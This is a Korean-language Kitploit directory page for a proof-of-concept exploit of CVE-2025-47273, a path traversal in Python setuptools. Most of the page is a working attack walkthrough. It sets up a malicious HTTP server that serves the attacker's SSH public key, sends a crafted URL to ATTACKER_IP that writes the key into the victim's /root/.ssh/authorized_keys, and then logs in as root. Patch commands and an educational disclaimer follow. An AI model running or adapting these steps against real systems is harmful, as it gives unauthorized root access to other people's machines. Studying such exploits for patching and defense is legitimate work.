Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-47273-POC — CVE-2025-47273 — setuptools path traversal PoC | Kitploit
도구/GitHubGitHub/alielkhatteb/cve-2025-47273-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingSupply Chain SecurityLearning & Education
GitHubalielkhatteb/cve-2025-47273-poc

CVE-2025-47273-POC

CVE-2025-47273 — setuptools path traversal PoC

저장소 보기
15개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

setuptools 경로 탐색 CVE-2025-47273

📖 개요

Python setuptools < 78.1.1의 경로 탐색 취약점에 대한 개념 증명 익스플로잇입니다.

PackageIndex 구성 요소의 _download_url 함수를 악용하여 공격자는 setuptools를 실행하는 프로세스의 권한으로 파일 시스템의 모든 위치에 임의의 파일을 쓸 수 있습니다.


🎯 취약점 요약

필드세부 정보
🎯 대상Python setuptools < 78.1.1
🐛 버그 클래스경로 탐색 (CWE-22)
💥 영향임의 파일 쓰기
📍 공격 벡터악성 패키지 인덱스 URL
🔍 근본 원인두 번째 인수가 /로 시작하면 os.path.join()이 tmpdir을 무시함

📋 전제 조건

  • 양쪽 머신에 Python 3
  • 공격자 머신에 SSH 키 쌍이 이미 생성되어 있어야 함 (~/.ssh/id_rsa + id_rsa.pub)
  • 대상 스크립트가 사용자 제어 URL로 setuptools PackageIndex를 호출해야 함

🚀 사용법

🔧 1단계 — SSH 공개 키 준비 (공격자 머신)

root@kitploit:~
# Copy your public key to the current directory to serve it
cp ~/.ssh/id_rsa.pub authorized_keys

📡 2단계 — 악성 HTTP 서버 시작 (공격자 머신)

이 서버는 경로에 관계없이 모든 GET 요청에 공개 키로 응답합니다. setuptools는 /USER/.ssh/authorized_keys 경로를 요청하지만 키 내용을 받게 됩니다.

root@kitploit:~
cat > python_server.py << 'EOF'
import http.server
import socketserver

class Handler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):
        # Serve authorized_keys regardless of path requested
        self.send_response(200)
        self.end_headers()
        with open("authorized_keys", "rb") as f:
            self.wfile.write(f.read())

with socketserver.TCPServer(("", 80), Handler) as httpd:
    httpd.serve_forever()
EOF

python3 python_server.py

💥 3단계 — 경로 탐색 트리거 (피해자 머신)

root@kitploit:~
ATTACKER_IP="192.168.1.20"
TARGET_USER="root"

sudo python3 /path/to/vulnerable_script.py \
  "http://${ATTACKER_IP}/%2f${TARGET_USER}%2f.ssh%2fauthorized_keys#egg=evil-1.0"

👾 4단계 — root로 로그인 (공격자 머신)

root@kitploit:~
ssh root@VICTIM_IP

비밀번호 없음. 직접 root 셸. 🔑


🔒 패치

버전 78.1.1에서 문제가 수정되었습니다.

패키지 관리자명령어
🐍 pippip install --upgrade setuptools
🐧 Debian/Ubuntu

📎 참고 자료

  • 🔗 NVD — CVE-2025-47273

  • 🔗 GitHub Advisory — GHSA-5rjg-fvgr-3xxf

  • 🔗 setuptools 수정 커밋

  • 🔗 setuptools PoC


⚖️ 면책 조항 및 이용 약관

이 개념 증명(PoC) 코드는 교육 및 승인된 침투 테스트 목적으로만 제공됩니다.

  • 어떠한 권한도 이 코드를 다른 목적으로 수정, 재배포 또는 사용하는 데 부여되지 않습니다.
  • 무단 사용 또는 수정은 불법 및 비윤리적일 수 있습니다.
  • 저자는 오용이나 손해에 대해 책임을 지지 않습니다.
도구 다운로드
sudo apt upgrade python3-setuptools
🎩 RHEL/Fedorasudo dnf upgrade python3-setuptools
🏗️ 수동setuptools 릴리스